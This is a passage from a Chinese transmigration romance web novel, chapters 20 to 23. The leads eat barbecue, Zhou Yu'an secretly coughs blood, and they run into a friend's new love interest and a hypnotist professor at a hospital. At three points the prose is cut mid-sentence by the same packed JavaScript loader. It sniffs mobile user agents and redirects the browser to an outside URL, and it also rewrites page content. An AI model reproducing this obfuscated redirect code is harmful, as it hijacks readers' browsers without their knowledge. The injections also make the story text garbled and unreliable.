好在陆雨婷和陆靳的脚步逐渐远去,两个人也终于可以松一口气,从这狭小的地方站起来。 确定陆靳和陆雨婷真的离开之后,两个人才对视一眼,季蝉衣故作轻松的说:“还好没被发现,要不然又免不了一场腥风血雨。” 周予安同样笑了笑:“是啊。” “纪雪薇他们走了吗?” “走了,本来纪雪薇好像还有什么话想和你说——我猜还是不死心想问你晚上有没有空,所以我就替你找理由拒绝了。” “干得好,我现在能避免和主角团的接触就使劲避免,免得最后被拉下水。那咱们赶紧下去吧,不然陆靳估计又得怀疑了。” 两个人下去的时候,陆雨婷和陆靳正好准备告辞。季蝉衣装作什么都没有发生的样子客客气气的把两个人送走了。 这下终于所有人都离开了,就连那几个阿姨也全都去三楼打扫了,大厅里就只剩下季蝉衣和周予安。 季蝉衣这才松了口气,整个人放松的靠在中岛台上,像被一下子抽走了精气神儿:“终于全都送走了,累啊。” 周予安走过去帮她捏了捏肩膀,非常及时的提议:“晚上去吃烧烤?” 季蝉衣立刻说:“今天我要多吃两盘烤五花!” “多吃十盘都没人跟你抢。” 李茵陈和季知远不知道什么时候才能回来,季蝉衣跟他们打电话说了一声,又和家里的阿姨说了,然后就和周予安一起开车回了自己家。 周予安动手弄烧烤架,季蝉衣就拿拿饮料、摆摆那些已经收拾好送上来的那些食材和调料。 晚上八点,两个人准时坐在位置前面,为接下来的大快朵颐做最后的准备工作。 没用多久,那些烤串就在周予安越来越灵活自如的烧烤手法之下滋滋冒油,散发出让人流口水的香味。 周予安把第一批烤好的全放在了季蝉衣面前的干净碟子里,季蝉衣拿起来吹了两口就迫不及待地咬了一口,烫的连忙吸溜了两声,周予安一只手烤第二批,还能腾出另一只手递给季蝉衣一杯冰可乐。 季蝉衣大口大口喝了半杯,整个人顿时神清气爽:“这才是真正的食物啊!中午吃的那一顿虽然也好吃,但是我觉得还是不如这样原始的进食更让人有种返璞归真的感觉。” 周予安乐了:“那下次我再买个草裙,咱们边围着炭火跳野人舞边嚎叫着吃烧烤,这样更有感觉。” “反璞归真和原始人还是有点区别的,那照你这么说,原始人哪知道怎么用炭火?咱们岂不是要吃生肉了?小心被生肉上的细菌入侵变异啊你。” “那听起来好像也挺不错的,到时候以咱们的经历拍一部电影,名字就叫——” “生肉侠?” “……细菌侠。你这也太土了。” “你的也不遑多让啊。” 两个人滋滋润润的碰了杯,痛痛快快的开始吃烧烤。 季蝉衣含糊不清的说:“不过现在剧情是真的变了。按照原文中的进度,现在我和陆靳的关系应该处在一个爱恨交织恨海情天爱又爱不彻底恨也恨不起来的状态,我依稀记得作者起码用了三十章来仔细描写两个人之间的情感拉扯,写那种朦胧的、甜蜜和痛苦交织的暧昧感。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535866|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在我和陆靳简直和陌生人没什么区别,别说什么感情拉扯了,就连正常交流都没多少。在咱俩锲而不舍的努力之下,我和他说话的次数简直一只手都能数出来。” 想了想,季蝉衣补充道:“——虽然这和陆靳本身话就少得可怜也有关。不过总而言之,按照现在我和陆靳的关系来看,咱们一开始设想的趁早远离男主、寻找新人代替陆靳的计划还说不定真的可行呢。而且虽然因为咱们行为的改变导致了其他人的行为也或多或少的发生了改变——比如简离和陈既,他们现在和自己官配的感情也都很一般啊。但其实最终的结果也不坏,反正目前我没发现有什么坏处,甚至对简离来说,我觉得还算是一件好事呢……说不定对陈既来说,也是一件好事。” 周予安赞同的点点头,边熟练的翻动烧烤架上的烤串边说:“所以说咱们接下来就可以按照原计划推进下去了?” 季蝉衣难得很兴奋:“没错!改变剧情并不会引起任何的副作用,而且其他人也不会被我们影响,所以现在咱们可以放开手脚的推进咱们的计划。” 周予安了然:“这是准备从保守派转向激进派了?” 季蝉衣纠正道:“我们现在只能算是一个温和的激进派,毕竟咱俩总体也算是谨慎的人。” “好高情商的说法,把窝囊说成谨慎。牛啊衣姐。” “不懂了吧,这都是饱经风霜练出来,被生活压弯了腰懂不懂?来,啥也别说了,都在可乐里了。瓜总,干!” 两个人同时举起玻璃杯碰了碰,季蝉衣豪迈的干了,爽的头皮发麻。 吃着吃着,季蝉衣抬了下头,原本是想让周予安帮自己递一下可乐,谁知道却猝不及防看见了周予安掩唇轻轻咳嗽的模样。 隔着氤氲的水汽,好像看人更有姿色。 周予安长得确实好看,最主要的是十分对季蝉衣的胃口,那双眼睛简直就是按照她的审美长得一样,就是传闻中看狗也深情的眼睛。当他安安静静的盯着一个人的时候,那双眼睛即便是不笑也带着三分情,轻而易举就击中了季蝉衣的心。 之前光顾着琢磨怎么改变剧情避免那个死亡结局了,都还没有再仔细看过这张脸。 不知道怎么回事,她忽然又想起白天她和周予安一起躲在桌子底下的情形,心跳加速的感觉仿佛又有卷土重来之势。 周予安一直在低着头游刃有余的忙碌,几乎还没怎么吃眼前的食物。她之前从来没有关注过周予安吃了多少,但因为每次有周予安照顾,她都能吃的很饱。之前季蝉衣从来不会留意这些问题,但是现在的季蝉衣会后知后觉的意识到,周予安似乎一直在迁就她,一直在照顾她,反观她付出的好像没有周予安那么多。 两个人经常一起吃烧烤,这是季蝉衣第一次在吃烧烤的时候这么正儿八经的打量周予安。 第一眼见到这个人时的惊艳感觉依稀还能回忆起来,但自从知道他是自己的盟友之后,他的容貌对季蝉衣的冲击力就不知不觉的变小了,或许是因为此后的周予安对季蝉衣来说,他这个人已经远远的重要于他的容貌,所以哪怕周予安变丑了变难看了,对季蝉衣来说也没什么区别。只要他这个人还存在,还在季蝉衣的身边,那么季蝉衣就会觉得安心。 只要他存在,那么对季蝉衣来说就已经足够了,除此之外季蝉衣对他没有任何别的要求。 但现在她又再一次忍不住被这个人吸引住了目光,而这份吸引早已和容貌没有任何关系,周予安带给她的东西,早已超出了□□和皮囊。如果说从前只是把周予安当成盟友,那么在这个平平无奇的晚上,在这个没有任何特殊事情发生的晚上,季蝉衣只是不经意间抬起来了头,看到了低着头认真忙碌的周予安,似乎就有什么东西悄然发生了变化。 21. Chapter21. 周予安浑然不觉季蝉衣的目光,烤好手上的那几个烤串之后,依然习惯性的放在了季蝉衣面前的小碟子里。 季蝉衣立刻收回视线,手忙脚乱的拿起烤串吃起来。 客厅的窗户没关,这会儿忽然有风吹了进来。炭火烧起来的那点烟雾也被风吹得扑面而来,周予安眯了眯眼睛,还是忍不住咳嗽起来,并且咳嗽声越来越剧烈。季蝉衣连忙递过去一杯水,起身过去关上了窗户,回来的时候盯着还在咳嗽不止的周予安问:“怎么越咳越严重了?赶紧喝点水压压,看看有没有用。” 周予安摆摆手,在咳嗽的间隙有些费劲的说:“没事儿,我就是忽然被烟雾气儿呛到了,有些缓不过来。你别起来了,继续吃吧,我去洗手间洗把脸,稍微散散气儿就好了。” 季蝉衣茫然的“哦”了一声:“要是有不舒服的就叫我。” “好。” 周予安说完,接过季蝉衣递的水喝了一口,然后才起身去了卫生间。 关上门,确定季蝉衣看不到自己之后,周予安终于忍不住了,扯过旁边的洗脸巾捂着嘴巴,强迫自己压低声音咳嗽两声,摊开洗脸巾,上面赫然是一滩鲜血。 周予安没什么的表情的看了两秒,很快娴熟的把洗脸巾处理干净。 他漫不经心的想,又严重了。 这份他绞尽脑汁得到的结果,他究竟能守护到什么时候呢?就连他自己也说不清。 不过好在眼下的一切看起来都还在往好的方向发展,这就已经足够了。 周予安打开水龙头,用水冲干嘴角的血渍。 一言不发的做着这一切的时候,他的表情都无比淡漠,几乎可以称得上是冷漠无情的地步。但在打开门见到季蝉衣的一瞬间,他又恢复了平常那种看起来不怎么靠谱的模样。 季蝉衣依然没有发现任何异常,正把烤好的烤串一个个摆到他面前的空碟子里,见他出来,还问了一句:“怎么样了,你没事吧?” 周予安看着季蝉衣的脸,明明她什么都没有做,可就是这么静静的看着她,他的心里就忽然安定下来,露出一张轻松的笑脸:“就是不小心被呛了一下,能有什么事儿?这是什么,给我烤的?” “是啊,光吃你烤的了,不得让你也尝尝我的手艺?” “行啊,那我可就恭敬不如从命了,毕竟能吃上季姐烤的串这一辈子也算是没白活。” “……怎么样怎么样,好吃吗?是不是很好吃?” 看着季蝉衣期待的模样,周予安艰难的咽下那块夹生的肉,语气毫无起伏:“……算了,我撤回上句话。我承认这一辈子白活了。” “何意味?瓜总你给我端正态度,有这么难吃吗?” “其实也还好……通俗来评价的话,这块烤肉简直可以称得上是社会进步的绊脚石。” “?” 季蝉衣不信邪,拿过来自己吃了一口,嚼了两下,表情变了变,默默的把肉吐了。 周予安默默的把纸递了过去。 季蝉衣若无其事的擦擦嘴:“咳,看来有我出马,烤串界确实多了一个无关紧要的人。” 周予安赞同的点了点头:“说句好听的,衣姐你简直就是烤串界冉冉升起的一团空气。” 季蝉衣遗憾退场,把烤串的交接棒交还给了周予安。 · 李茵陈生日之后又过了一周左右,简离终于出差回来了。 她提前给季蝉衣打了电话,问季蝉衣有没有空来接她一趟。 季蝉衣最有的就是空了,这两天周予安很忙,晚上回来的时候季蝉衣已经睡觉了,第二天季蝉衣起床的时候,他又已经去了公司。季蝉衣边感叹果然高级牛马也同样命苦边自己一个人有些寂寞的吃喝玩乐。 不过简离特地嘱咐了,让季蝉衣开那辆大一点的SUV来,因为她不止是一个人来的,还带了她的朋友和那朋友的哥哥。简离想拜托季蝉衣先送他们去医院一趟。 季蝉衣一听“医院”两个字,耳朵就竖了起来:“去医院?你受伤了?” “没有,是我那个朋友要去医院。她哥是咱们市的,之前她不是生病了嘛,他哥飞过去照顾她。现在她好了,正好来咱们市有点事要办,就准备来她哥这儿住一段时间。她住完院之后虽然已经恢复的差不多了,但还是得吃段时间的药,有几款特效药得冷藏,反正这药也没限制,哪里都能开,她就准备回去再去医院开点。” 原来是这样,季蝉衣松了口气,随口答应下来:“行啊,那你们几点到?我提前准备着。” “飞机下午八点左右落地,到时候你八点半在机场外面等我吧。” “好,那今晚见。” “好,一会儿见。” 季蝉衣挂断电话,给周予安发消息说了一声自己晚上要去接简离。 周予安估计真的挺忙的,之前大部分时候都能秒回她的消息,但是这次等了很久,周予安才回了一句话:“好。要不要我送你?” 季蝉衣都乐了,她懒得打字,干脆直接发语音:“还是别了吧,你这几天那么忙,要不是我起不来,我都想送你上下班了,怎么还忍心压榨你?” “连衣姐都看出来了啊?这段时间确实忙啊,忙的我连饭都没好好吃两口,每天看各种收购案签各种文件……唉,想念咱们一起无忧无虑吃烧烤的日子了。” “放心吧瓜总,烧烤会有的,什么都会有的。等你忙完了这阵姐带你出去吃高级烧烤,乖啊。” “这就是吊在驴前面的那根萝卜——也就是俗称老板画的大饼吗?我感觉自己好像又充满了斗志,希望是我真的又有动力了,而不是回光返照了。” “呸呸呸,瞎说什么呢。得了,君子一言驷马难追,虽然我不是君子,但我肯定会兑现自己的承诺,安心工作吧瓜总。” 摁熄手机之后,季蝉衣心情不错的哼着歌,洗了一下三天没洗的头,画了个淡妆,还心情愉悦的站在镜子前挑了一身漂亮的小裙子。 七点半一到,季蝉衣就准时出了门。 好在几天路上不是很堵,她八点十分就顺利抵达了机场,给简离发了消息之后,就坐在车上等他们出来。 季蝉衣已经预约好了去医院取药的时间,等接到简离之后,正好可以卡一个完美的时间顺路拿药,然后再把他们送到酒店。 季蝉衣不是没思考过简离口中那个神龙见首不见尾的“朋友”究竟是谁,只是她一直下意识地以为是简离的同事,要么就是原本的合作伙伴,交往多了就自然而然成了朋友。除了这些之前,她实在是猜不出来简离的这个朋友还能有什么身份。 她对这件事其实兴趣不大,只想着见到了寒暄一阵,邀请他们一起吃顿饭尽尽地主之谊就行了,但是等见到简离身后的两个人时,季蝉衣手里拎着的包差点没直接掉在地上。 简离身边有一个戴着帽子的短发男生,这男生很矮,几乎和简离差不多个头。但这个不是让季蝉衣差点把包砸出去的罪魁祸首,真正让季蝉衣绷不住的,是简离身后的李听澜。 联想到一开始简离说她那个“朋友”的哥哥晚上会回来照顾她朋友,以及她朋友的哥哥和她们住在一个市……季蝉衣几乎立刻就明白了原来这个李听澜就是简离口中她朋友的“哥哥”。 明白了之后,季蝉衣有种把血吐满整个世界的冲动。 自从简离和李听澜相遇的剧情改变之后,她原本以为两人接下来的剧情也会在自己和周予安的干预之下走“分道扬镳”的那种路线,和陈既、黛秋心一样有缘无分,所以后来也就放任没再深入管下去,谁知道一转眼的工夫,两个人竟然在她眼皮子上面又有了联系! 早知道他们有机会重新异地接触,季蝉衣当初就是爬也会爬到简离的脚边阻止两个人相见。 但现在说什么都已经晚了,两个人见了面已经是板上钉钉的事情,季蝉衣只寄希望于简离依然对李听澜不感冒,最好是直接发现了李听澜和姚以寒的事情,现在也只是以普通朋友的身份一起回来。 但季蝉衣很快就发现事情好像比她想象中的还要不乐观。 简离笑着朝她跑过来的时候,季蝉衣眼尖的注意到简离手上戴着和李听澜同款不同色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537645|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情侣手链。 在出差之前,简离手上还什么都没有。 季蝉衣握紧拳头,恨不得现在就送李听澜去见他太奶。 她了解简离,简离这人,表面上看起来城府极深,杀伐果决,喜怒不形于色,实际上缄默不语的时候都是老年痴呆已经发作了一会,所以才会给人一种不与世俗同流合污的假象。她看着精明,但是这是基于知道一个人的真面目的基础上,她一旦相信别人之后,就很容易交付自己的真心,也因此特别容易受到伤害。 把真心交给李听澜这样的人,还不如交给被鸵鸟吃植物茎叶的时候不小心吃进去的蠕虫身上的细菌上的细胞质靠谱。 不过即便是心里再后悔再不愿相信,季蝉衣现在当着李听澜的面也只能强挤出一个笑容,故作无所谓的和他们打招呼。 简离笑眯眯的和季蝉衣一一介绍:“蝉衣,这就是我的朋友李慕青,这个就是她的哥哥。她哥哥你见过的,就是上次我不小心追尾的李听澜。没想到世界这么小,李慕青和李听澜是亲兄妹。哈哈哈哈哈哈,你是不是也觉得意外?” 简离把刚刚季蝉衣脸上没藏住的想要刀人的目光理解为了意外。 季蝉衣立刻从善如流的点头:“何止是意外啊,简直觉得有点像是异世重逢了。” “哈哈,衣姐你还是这么幽默。慕青是我合作伙伴,人很好,生病的时候我正好也没什么事,就照顾了她两天,也就认识了她哥哥。”又转头向李慕青介绍季蝉衣,“慕青,这就是我和你说的我最好的朋友。” 李慕青立刻就笑眯眯的看向季蝉衣,客气地说:“这几天简离经常说起你,今天看见,我总算知道了简离一直念念不忘的原因了,季小姐不仅长得好看,人也很有气质,确实会让人难以忘怀,恐怕以后我也不会轻易忘记季小姐了。” 直到李慕青开口说话,季蝉衣才知道原来她并不是男生,只是剪短了头发又戴着帽子,所以看起来像是男生罢了。 她笑了笑,指甲深深嵌入了肉里。 千防万防,还是没防住……算了算了,季蝉衣就不信这次有自己从中作梗,这个李听澜还能伤害到简离。 季蝉衣和他们寒暄客气了一阵,很快就上车带他们一路去了预约的那家医院。 李听澜陪着李慕青去拿药了,季蝉衣和简离在楼下大厅等他们。 等只剩下她们两个人的时候,季蝉衣立刻忍不住想要追问简离现在和李听澜的关系,但还没来得及张口,就听见简离忽然大声“咦”了一下:“那不是周总吗?他怎么来医院了,生病了?” 季蝉衣连忙顺着简离的视线看过去,果然看见了周予安。 不过周予安并不是一个人,他身边站着一个看起来已经五六十左右的中年人,那人穿着白大褂,戴着一副金丝边眼镜,比周予安矮了半个头,看起来文质彬彬的模样,正边往前走边和周予安说话。 季蝉衣的心脏一下子提了起来,还以为周予安出了什么事,正准备追过去一探究竟,就听见简离又“咦”了一声:“那不是章教授吗?周总怎么会和章教授在一起?” 季蝉衣怔了一下,连忙回头拽住简离问:“什么‘章教授’?你认识?这个‘章教授’是干嘛的?” “哦,章教授啊,是一个特别特别有名的心理学家,他出过好几本心理学著作呢,我之前不是有段时间特别迷催眠算命那些嘛,听说他特别擅长的就是催眠——不,应该说他在全国都排得上名号,所以我就稍微了解了一点。不过周予安怎么会找章教授?而且看他们这样子好像还很熟的样子,难道……难道周总看着阳光开朗,其实是个心理扭曲的反社会人格,需要时不时过来看心理医生来矫正自己的认知?” 后半句明显是在开玩笑,但季蝉衣也确实有些好奇,她看着周予安快要消失的背影,喃喃的说:“算了,追上去问问就知道了。” 说着她迅速和简离说了一声,让她原地等着自己,然后就朝周予安消失的地方追了过去。 简离在季蝉衣后面叫了她好几声都没听见,简离见状叹了口气,只好放任她去了。 22. Chapter22. 季蝉衣一路跑着过去的,还真让她追上了周予安,她大叫一声:“周予安!” 周予安停下脚步,回头看见是她,眼里闪过一瞬间的诧异:“衣姐?你怎么在这里?” 他似乎意识到了什么,快速上下看了一遍季蝉衣的全身:“你受伤了?” “没有,我陪简离和她朋友来拿药的。倒是你,怎么也在医院里,你生病了?” 周予安松了口气,笑道:“没有,我就是顺路过来看看老师。” 说着,他想到了什么,和季蝉衣介绍了一下身边的章杰书:“这是我上大学的时候经常去旁听的一个老师,我对心理学很感兴趣,所以虽然学的是金融,但也经常去隔壁心理学院旁听他们的课。章老师就是我在大学读书时候认识的老师。” 章杰书笑眯眯的看着季蝉衣,他笑起来的时候似乎格外慈祥:“以后季小姐有什么困惑也可以过来找我,如果我能帮上什么忙,一定会帮季小姐解决的。” 季蝉衣下意识客气的和章杰书寒暄了两句,等冷静下来之后,后知后觉反应过来不对劲:“等等,那什么,咳,章老师,我确实有点困惑……这不是咱们第一次见面吗?老师你怎么知道我姓什么?” 章杰书推了推眼镜,笑容没什么变化:“……小周来找我的时候,总是向我提起你,我虽然记忆力一般,但这么多次下来也差不多能牢牢记住季小姐了。” 季蝉衣点了点头:“原来是这样。” 周予安又问:“对了,你的朋友们呢?” 不说这个还好,一说起这个,季蝉衣又轻轻碎了:“他们拿药去了,简离那个朋友的哥哥就是李听澜。算了,这件事说来话长,既然你还忙着,那我就不打扰你和章教授的正事了,等晚上回去之后再和你说吧。” 周予安笑道:“没关系,我和你一起回去吧。说起来我已经打扰章教授很久了,也该告辞离开了,要不然就该耽误章教授的工作了。” 章杰书笑眯眯地点了点头:“是啊,正好我一会还约了病人,那改天有时间再聊吧。” “好,那我们就先走了。” 季蝉衣也跟着打了声招呼,章杰书笑着点点头,目送他们转身,视线若有所思的在季蝉衣的背影上停留了一会儿,也转身离开了。 回去找简离的路上,季蝉衣言简意赅的把简离和李听澜的事情和周予安说了一遍,她着重强调了两个人“情侣手链”的事情,表情忿忿:“我总感觉要完蛋,普通的好友会戴一样的手链吗?普通朋友会专门一起回来的吗?普通朋友会这么热心吗?”季蝉衣正说的义愤填膺,却迟迟没等到周予安的回应,回头一看,周予安似乎在走神,她在周予安面前打了个响指,问道,“瓜总,回神了。你有没有在听?一直盯着我的手腕干什么呢?” 周予安回过神,很快笑道:“哦,没什么,继续说,我听着呢。” “……唉,就是不知道简离到底怎么被这个李听澜蛊惑了心智。按理说这也没几天啊,两个人的进展也太快了吧?还是说简离有什么把柄落在了李听澜手上?” “其实照你这么说这样反而好办,要真有什么把柄的话,到时候咱们直接帮简离把‘把柄’毁掉就万事大吉了,可怕就怕简离是心甘情愿喜欢他的,那不就惨了。” “……唉,人生真是起起落落落落落啊。” “不过也先别那么的悲观嘛,一会等单独和简离相处的时候仔细问问是怎么回事,说不定事情还要转圜的余地呢。” “啊啊啊啊啊啊啊现在也只能这么安慰自己了。” 两个人边说边走,等远远的看见简离时,就不约而同的停止了这个话题。 走到简离身边,简离和周予安打了声招呼,奇怪的问:“怎么这么快就回来了?周总,你怎么了,没事吧?” “没事儿,刚刚那个教授是我朋友,我顺路过来看看他而已。” “哦,原来是这样啊,你没事儿就行。你都不知道刚刚季蝉衣看见你在医院,吓得脸色都变了,生怕你出什么事情。”边说简离边朝季蝉衣挤眉弄眼。 季蝉衣:“……” 周予安含笑瞥了一眼季蝉衣,又看向简离,“嗯”了一声:“能理解,毕竟我俩现在已经算是彻底绑在一起了。” 都是一条绳上的蚂蚱,可不就是彻底绑在一起了?季蝉衣一边腹诽一边笑眯眯的接话:“是啊,要是没有瓜总,那我也不想活了。” 谁知道周予安听见这话,表情没变,语气却有了起伏:“这种话就别说了,就算是没有我,你也要好好的活着。就当是为了我也得好好的生活。” 季蝉衣还没来得及说什么,就见简离听见周予安的话后,睁大双眼一脸震惊的看着他们,仿佛没反应过来自己听见了什么:“先等等,不是……你们关系什么时候变得这么、这么亲切了?我就出差了十几天而已,你们干嘛了?” 之前季蝉衣就已经和周予安商量好了,为了使他们炒CP更加真实,从而骗过大家,使换男主这件事更像样,他们不仅当着主角团的面要大炒特炒,而且在简离和他们各自父母的面也会直接直白的炒CP。季蝉衣觉得反正这也只是小说世界,只要能让他们早日回家,那么做什么都值得,做什么都能豁的下脸面。 所以季蝉衣也没隐瞒,笑眯眯的和周予安十指相扣:“哦,我们已经暗度陈仓了,现在你可以使劲祝福我们了。” 简离离开之后并不知道两个人的进展,在她的视角里,就是前几天只是关系还不错的两个人在她短短几天出差归来之后就在一起了,有种在读大学的时候看见自己高中同班同学的孩子的幻灭感,她显然受到了不小的冲击,怔怔地看着两个人交握的手,喃喃地脱口而出道:“‘暗度陈仓’不是这么用的吧……等等,你们在一起了,那、那那个陆靳……” 话音未落,简离忽然意识到了自己这话当着周予安的面不太合适,连忙闭上了嘴巴,同时有些心虚的瞟了周予安一眼。 但周予安的表现十分坦然:“哦,他啊,他实在不是良人,我不忍心看蝉衣错付终身,所以劝她回头是岸了。” 季蝉衣十分默契的配合:“没错,现在我终于找到了我的真龙天子,好闺闺,你不祝福我们吗?” “祝福……祝福。”虽然简离确实不喜欢陆靳,也确实希望看见季蝉衣能彻底放弃陆靳,但她有些不敢相信季蝉衣真的说不爱陆靳就不爱了。但季蝉衣脸上的开心不像是假的,她欲言又止了半天,还是没再继续问什么。 简离还在魂飞天外的游离之中,季蝉衣想到刚刚她和李听澜的事情,忍不住收敛了神色,准备趁着现在李听澜不在仔细问问简离这一切怎么回事,结果还没张开嘴,李慕青就仿佛从天而降一般从缴费的地方走了过来。 简离立刻朝李慕青身后瞥了一眼,问道:“李听澜呢?” “他去帮我拿药了,马上就回来。” 季蝉衣偷偷观察着简离的模样,看她那种期待的神情,心顿时凉了半截。 简离已经爱上李听澜这件事不说是板上钉钉,但也差不多有八九分的确定了。 李听澜很快拿完药回来了,当着这么多人的面,他和简离两个人说话聊天什么的也都很正常。 但季蝉衣还是能从简离的眼神和细微表情里看出来李听澜现在对她来说已经不再是普通朋友的存在。 回忆着原文中描写李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540022|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听澜、姚以寒和简离三个人的剧情,她简直像是吃了一坨屎味的巧克力一样难受。 开车把李听澜他们送到地方之后,季蝉衣原本想把李听澜他们在这里放下,然后带着简离先回自己家仔细问问情况,趁着现在一切都还来得及赶紧挽回这一切,但她还没来得及开口和李听澜他们说拜拜,李慕青就先一步开口把简离留下了。 她今晚要跟一个男生表白,那个男生是李听澜的同学,李慕青之前见过他一次,因为工作去了隔壁市之后,就没再和他见过面,而是一直和他用手机聊天。 这次她跟着李听澜和简离回来,最重要的原因就是想和那个男生确定关系。在这个对她来说意义非凡的时刻,她想让简离陪着她。 不出意外的话,李听澜也会留下来陪着李慕青。 季蝉衣知道这下李听澜和简离又有独处的机会了,整个人顿时散发出一种幽怨的气息。 只要给她一个杠杆,她能把李听澜打的不知道情为何物。 季蝉衣极力忍住想把这个世界创翻的欲望,垂头丧气的和周予安打道回府了。 季蝉衣心情不好,话也就很少,这一路上都没怎么开口说话。 直到回到家,季蝉衣走近了才发现门外放着几个没拆的快递盒。 她稍稍回神,嘟囔着自己最近没买什么快递,拿起来一看,原来不是快递,只是用箱子装着的几个精致的小盒子。 她打开一看,小盒子里装着项链、手链和戒指,每个都是情侣款,同款不同色,钻石大的简直快要闪瞎她的狗眼。 这种贵重的东西不可能会被放错,而她最近也没买东西,季蝉衣稍微一推测就知道这是谁让人放的了,她抬头看向周予安:“瓜总,这是你买的?” “嗯哼,今天你说简离他俩有情侣手链的时候提醒我了,我想既然做戏就要做全套,那就也买一对情侣手链吧,但手链都买了,不如就干脆把项链戒指什么的也买了,也好凑一套。” “好家伙,‘女人,别人有的你也要有’是吧?可以啊瓜总,真别说你确实有做霸总的潜质。不过咱们一样的东西还少吗?一样的手机手表,因为你在我家住,我每次买生活用品都是双份的,咱俩的牙刷牙膏睡衣秋裤哪件不是一样的?” “……这还是不一样的,那些是咱们自己用的,这些是给别人看的。” 季蝉衣闻言也恍然大悟:“对啊,还得是你聪明啊瓜总。到时候咱们穿着情侣装出去,大家一看就知道咱们的关系了,这就叫‘不战而屈人之兵’对吧?” 周予安现在已经能坦然接受季蝉衣各自语出惊人了,甚至还常常会被她带偏:“小意思,正所谓生于忧患死于安乐,咱们现在忧患一点,把什么都考虑到,到时候就不会死了。” 季蝉衣边抱着箱子开门边说:“不过你就直接把东西大剌剌的放在这里了?这么贵重的东西你不怕有人拿啊?” “这一层就咱们两户,不会有其他人的。而且这里还有监控,就算是有人拿了也很容易就能得到。再说了,就这点钱……” 周予安“啧”了一声,没继续说下去。但他的表情很随意,语气也无比随意,就像是他有太多这样的东西了,所以哪怕是拿出一把撒着玩也无所谓,看样子确实没把“这点钱”放在眼里。 这点钱…… 受到冲击的前·小穷光蛋季蝉衣默默低头看了一眼怀中的东西,“这点钱”的范围应该在六十万到七十万之间。 她默默闭上双眼,钱,老子发了疯的找你,你竟然躲在别人的银行账户里,你这是在玩火! 她才应该是霸道总裁文的主角——霸道乞丐强制爱,钱奶奶的第九十九次出逃。 23. Chapter23. 季蝉衣晚上没什么胃口,早早的就休息了。 第二天醒了之后先习惯性的捞起手机看了一眼,简离凌晨的时候给她发了好几条消息,她都没看见。 季蝉衣揉了揉眼睛,不愿意离开温暖的被窝,干脆躺着玩了会手机,一一把简离的语音转文字。 简离:“熠熠小宝贝儿!!!!!你猜刚刚发生了什么,你猜李慕青有没有表白成功??” 简离:“哈哈哈哈哈哈哈哈刚才真的是要笑死我了,你绝对猜不到发生了什么。” 简离:“我的妈呀妈呀妈呀,真是太刺激了。我明天一定要仔细和你说说。” 简离:“哦对,现在就已经是‘明天’了,你放心,等我回去就和你说,结束之后我睡个囫囵觉就去找你,等我哦宝贝儿。” 季蝉衣看了一眼时间,已经十点多了,这个点简离应该还在补交,周予安估计也已经去公司了。 简离来不了这么早,所以季蝉衣回了简离一个表情包,又心安理得的躺在床上玩了会手机。 等十二点整,季蝉衣实在是憋不住想去厕所了,才终于怪叫着从床上坐起来。 她去了趟厕所,走到餐厅看了一眼,周予安果然又留了饭给她。 季蝉衣没什么胃口,洗漱完毕之后吃了两口就放下了,正准备拿出手机问问简离有没有睡醒,结果还没打完字门铃就响了起来。 季蝉衣直觉会是简离,打开门一看,果然第一眼就看见了简离那张灿烂的笑脸。 简离一见她就笑嘻嘻地说:“我靠靠靠靠,熠姐,你绝对猜不到昨天晚上发生了什么,绝对惊险刺激,我都憋了一晚上了,必须得好好和你说说。” 季蝉衣做出洗耳恭听的模样:“那还说啥了,我一定不会放过任何一个细节。” 当然了,季蝉衣在心里磨刀霍霍向猪羊——一会等你说完就该我说了,我也不会放过任何一个你和李听澜的细节。 完全不知道季蝉衣心中邪恶想法的简离满意的点点头,热情的推着季蝉衣往客厅走:“走走走,咱们坐下边喝边说,你家有饮料吧?” “何止是有饮料啊,还有我刚采购的各种小零食呢。” “太好了!辣的我吃不了,我得保护嗓子,咱们就吃点薯片啥的吧。一会儿咱们就边吃边……咦,等等,这个角落里怎么还有个沙发?沙发上还有个粉色凯蒂猫的枕头和同款粉色被子……你晚上在这里睡的?” “……哦,”季蝉衣瞟了一眼,战术性挠了挠鼻子,“这是周予安的床铺。” “……?” “我俩经常一起吃烧烤吃到很晚,他懒得回去,就直接在这里睡了。” “……你们不是就住对门吗?这两步路的距离也嫌远?……不过他用的这些东西都是你的吧?怎么全是粉色的?粉色眼罩、粉色抱枕……甚至还有粉色玩偶……我简直不敢想象周总躺在这上面的画面。” “胆小鬼,我就敢想。家里只有粉色的,他懒得回去拿,我懒得再买,反正能用就行,管它什么样式颜色的。不过你别说,其实周予安和粉色还挺搭的,反正他晚上躺在这里的时候,简直就和这粉色的沙发融为一体了,一点也不显得格格不入。” 